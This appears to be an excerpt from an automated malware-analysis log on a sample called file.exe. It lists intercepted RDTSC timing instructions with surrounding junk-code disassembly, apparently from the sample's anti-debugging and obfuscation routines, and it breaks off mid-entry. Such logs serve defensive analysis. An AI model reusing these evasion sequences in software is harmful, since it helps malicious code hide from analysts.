Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D87AB second address: 10D87BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E255A second address: 10E2576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2576 second address: 10E257C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E257C second address: 10E2588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2588 second address: 10E2592 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2E405325E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A72 second address: 10E0A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A76 second address: 10E0A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0C2C second address: 10E0C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Eh 0x00000009 pop esi 0x0000000a jo 00007F2E40BD869Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0C47 second address: 10E0C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2E405325DBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F91 second address: 10E0F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F97 second address: 10E0FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2E405325E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F2E405325D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FBE second address: 10E0FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FC2 second address: 10E0FD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F2E405325D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FD2 second address: 10E0FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E15D2 second address: 10E15D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E15D6 second address: 10E15DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1C5A second address: 10E1C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2E405325D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E23C9 second address: 10E23CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E01C2 second address: 10E01D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F2E405325D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E01D4 second address: 10E01F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F2E40BD869Eh 0x0000000e jg 00007F2E40BD86A2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E01F2 second address: 10E01F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7DDF second address: 10E7DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4343 second address: 10F4347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4347 second address: 10F434B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F434B second address: 10F4382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F2E405325D8h 0x00000011 pushad 0x00000012 popad 0x00000013 jnp 00007F2E405325D8h 0x00000019 popad 0x0000001a jbe 00007F2E405325E0h 0x00000020 push ecx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F73E9 second address: 10F7408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E40BD86A5h 0x00000009 ja 00007F2E40BD8696h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7408 second address: 10F740C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F740C second address: 10F7430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2E40BD86A3h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jl 00007F2E40BD869Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9773 second address: 10F979A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F2E405325D6h 0x00000012 jmp 00007F2E405325E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F959B second address: 10F95D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2E40BD86A0h 0x0000000e pop edx 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F2E40BD869Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F3B5 second address: 102F3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100FDF second address: 1101000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F2E40BD869Ch 0x0000000b jl 00007F2E40BD8696h 0x00000011 pop esi 0x00000012 jng 00007F2E40BD86CEh 0x00000018 pushad 0x00000019 ja 00007F2E40BD8696h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1101000 second address: 1101025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2E405325D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2E405325E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11072EF second address: 11072F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11072F3 second address: 1107309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F2E405325DEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107309 second address: 1107313 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2E40BD869Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110EA72 second address: 110EA7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111532C second address: 1115334 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116315 second address: 111631B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111631B second address: 111632A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F2E40BD869Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111632A second address: 111634F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jno 00007F2E405325D6h 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2E405325DCh 0x00000016 jp 00007F2E405325D8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111634F second address: 111636C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111636C second address: 1116370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118C93 second address: 1118CA0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118CA0 second address: 1118CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118CA7 second address: 1118CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129A85 second address: 1129A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129A9C second address: 1129AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129AA4 second address: 1129AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2E405325D6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129AAF second address: 1129ACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Fh 0x00000007 jbe 00007F2E40BD869Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11366AC second address: 11366C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DAh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e ja 00007F2E405325D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136856 second address: 1136867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136867 second address: 113686D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DB49 second address: 114DB4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DCBE second address: 114DCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DCC3 second address: 114DCE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E40BD869Ch 0x00000009 jmp 00007F2E40BD86A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E318 second address: 114E31D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E31D second address: 114E365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2E40BD8696h 0x0000000a pop edi 0x0000000b push edi 0x0000000c jmp 00007F2E40BD86A4h 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jg 00007F2E40BD86B1h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E4CB second address: 114E4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2E405325DEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152AFE second address: 1152B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152B04 second address: 1152B27 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2E405325EAh 0x00000008 jmp 00007F2E405325E4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152E96 second address: 1152E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156121 second address: 1156127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157CC0 second address: 1157CE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnp 00007F2E40BD8696h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F2E40BD8696h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157CE8 second address: 1157CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DAh 0x00000007 jng 00007F2E405325D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0283 second address: 55D0289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0289 second address: 55D029A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D029A second address: 55D02BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2E40BD86A9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D02BE second address: 55D0317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c call 00007F2E405325E5h 0x00000011 call 00007F2E405325E0h 0x00000016 pop ecx 0x00000017 pop edx 0x00000018 push esi 0x00000019 mov bx, F432h 0x0000001d pop edx 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F2E405325E6h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0317 second address: 55D031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D031B second address: 55D031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D031F second address: 55D0325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067ECD second address: 1067ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067ED1 second address: 1067ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067ED5 second address: 1067EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0460 second address: 55D0466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0466 second address: 55D0477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0477 second address: 55D047B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D04FD second address: 55D0563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F2E405325DFh 0x00000008 pop esi 0x00000009 mov si, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f call 00007F2EB08860B2h 0x00000014 push 759227D0h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov eax, dword ptr [esp+10h] 0x00000024 mov dword ptr [esp+10h], ebp 0x00000028 lea ebp, dword ptr [esp+10h] 0x0000002c sub esp, eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push edi 0x00000031 mov eax, dword ptr [759B0140h] 0x00000036 xor dword ptr [ebp-04h], eax 0x00000039 xor eax, ebp 0x0000003b push eax 0x0000003c mov dword ptr [ebp-18h], esp 0x0000003f push dword ptr [ebp-08h] 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004c mov dword ptr [ebp-08h], eax 0x0000004f lea eax, dword ptr [ebp-10h] 0x00000052 mov dword ptr fs:[00000000h], eax 0x00000058 ret 0x00000059 jmp 00007F2E405325DBh 0x0000005e and dword ptr [ebp-04h], 00000000h 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 pushfd 0x00000066 jmp 00007F2E405325E7h 0x0000006b sbb cl, 0000001Eh 0x0000006e jmp 00007F2E405325E9h 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0563 second address: 55D0569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0569 second address: 55D056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D056D second address: 55D0602 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F2E40BD86A4h 0x00000015 jmp 00007F2E40BD86A5h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F2E40BD86A0h 0x00000021 jmp 00007F2E40BD86A5h 0x00000026 popfd 0x00000027 popad 0x00000028 mov esi, edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F2E40BD869Ch 0x00000031 xor si, F738h 0x00000036 jmp 00007F2E40BD869Bh 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0602 second address: 55D0638 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2E405325E2h 0x00000008 xor cx, 7198h 0x0000000d jmp 00007F2E405325DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov al, byte ptr [edx] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edx, 58B1A886h 0x00000020 mov ah, dh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0638 second address: 55D0638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 pushfd 0x00000006 jmp 00007F2E40BD869Bh 0x0000000b adc eax, 2CAEFF0Eh 0x00000011 jmp 00007F2E40BD86A9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a inc edx 0x0000001b pushad 0x0000001c mov ecx, 668F3AB3h 0x00000021 jmp 00007F2E40BD86A8h 0x00000026 popad 0x00000027 test al, al 0x00000029 jmp 00007F2E40BD86A0h 0x0000002e jne 00007F2E40BD861Dh 0x00000034 mov al, byte ptr [edx] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov edx, 58B1A886h 0x0000003e mov ah, dh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D06C2 second address: 55D075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub edx, esi 0x0000000c jmp 00007F2E405325DFh 0x00000011 mov edi, dword ptr [ebp+08h] 0x00000014 jmp 00007F2E405325E6h 0x00000019 dec edi 0x0000001a jmp 00007F2E405325E0h 0x0000001f lea ebx, dword ptr [edi+01h] 0x00000022 jmp 00007F2E405325E0h 0x00000027 mov al, byte ptr [edi+01h] 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F2E405325DEh 0x00000031 sbb al, 00000068h 0x00000034 jmp 00007F2E405325DBh 0x00000039 popfd 0x0000003a jmp 00007F2E405325E8h 0x0000003f popad 0x00000040 inc edi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 mov ecx, 2F010DE3h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D075E second address: 55D082A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2E40BD86A8h 0x00000008 add esi, 12DFC628h 0x0000000e jmp 00007F2E40BD869Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jmp 00007F2E40BD86A8h 0x0000001b popad 0x0000001c test al, al 0x0000001e jmp 00007F2E40BD86A0h 0x00000023 jne 00007F2EB0F2095Dh 0x00000029 jmp 00007F2E40BD86A0h 0x0000002e mov ecx, edx 0x00000030 pushad 0x00000031 mov si, 003Dh 0x00000035 mov bx, cx 0x00000038 popad 0x00000039 shr ecx, 02h 0x0000003c pushad 0x0000003d mov ebx, eax 0x0000003f call 00007F2E40BD869Eh 0x00000044 pushfd 0x00000045 jmp 00007F2E40BD86A2h 0x0000004a sub al, 00000078h 0x0000004d jmp 00007F2E40BD869Bh 0x00000052 popfd 0x00000053 pop esi 0x00000054 popad 0x00000055 rep movsd 0x00000057 rep movsd 0x00000059 rep movsd 0x0000005b rep movsd 